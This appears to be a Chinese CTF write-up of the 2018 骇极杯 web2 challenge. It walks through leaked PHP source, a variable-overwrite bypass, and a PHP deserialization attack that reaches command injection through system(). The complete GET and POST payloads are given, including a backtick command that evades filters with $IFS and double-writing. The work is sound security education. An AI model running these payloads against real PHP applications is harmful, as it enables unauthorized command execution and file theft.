骇极杯 2018 web2
赛后感觉能过,但是这题还是有不少有价值的东西,记录一下。
源码泄露
主页没有线索,发现存在.swp
备份文件,获得代码如下:
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){and to continue
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
简单变量覆盖
注意到:
$$key = $value;
@parse_str($_GET['a']);
根据代码逻辑,要传入三个&
,但是后两个&
是要传给函数parse_str()
,不能一开始就被解析,故对其 URL 编码。
很容易构造出 GET 方式的 Payload:
?first=doller&a=var=give%26bbb=me%26ccc=flag
反序列化与任意命令执行
还注意到:
$come=@$_POST['come'];
unserialize($come);
要用到前面的come
类,我对其中的关键部分进行了注释:
class come{
private $method;
private $args;
function __construct($method, $args) {//传入两个参数
$this->method = $method;
$this->args = $args;
}
//__wakeup()是PHP中为反序列化专门提供的一个函数,在反序列化之前执行。
//类似的也有__sleep()函数,在序列化之前执行。
function __wakeup(){//传入的$args是数组类型
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));//送去过滤
}
}
function waf($str){//过滤部分特殊字符与子串
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){//摧毁时执行
if (in_array($this->method, array("echo"))) {
//call_user_func_array():调用回调函数,并把一个数组参数作为回调函数的参数。
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
先看看echo()
这个在类内部的函数:
function echo($host){
system("echo $host");
}
很明显,$host
若为:
`待执行的命令`
即可进行带回显的命令执行,其中`
的作用是把后面命令的结果暂时保存,然后交给前面的echo
进行输出,由函数system()
输出返回结果。
思路就是利用call_user_func_array()
来调用echo()
,从而利用这个漏洞。
使用$IFS
绕过对空格的过滤($IFS
的默认值为:空白,包括空格、tab 和新行,将其 ASCII 码用十六进制打印出来就是:20
09
0a
),并双写绕过对flag
的过滤:
`cat$IFS/fflaglag`
在本地写序列化脚本:
<?php
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$test=new come("echo",array("`cat\$IFS/fflaglag`"));
echo serialize($test)."<br>";
echo urlencode(serialize($test));
?>
得到:
O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Ffflaglag%60%22%3B%7D%7D
这里如果不经过 URL 编码就直接输出,come
和后面的method
、args
会连在一起,不符合前面计算好的长度,编码过后发现是%00
的原因。
综上,Payload:
?first=doller&a=var=give%26bbb=me%26ccc=flag
POST:
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Ffflaglag%60%22%3B%7D%7D
即可取得 flag。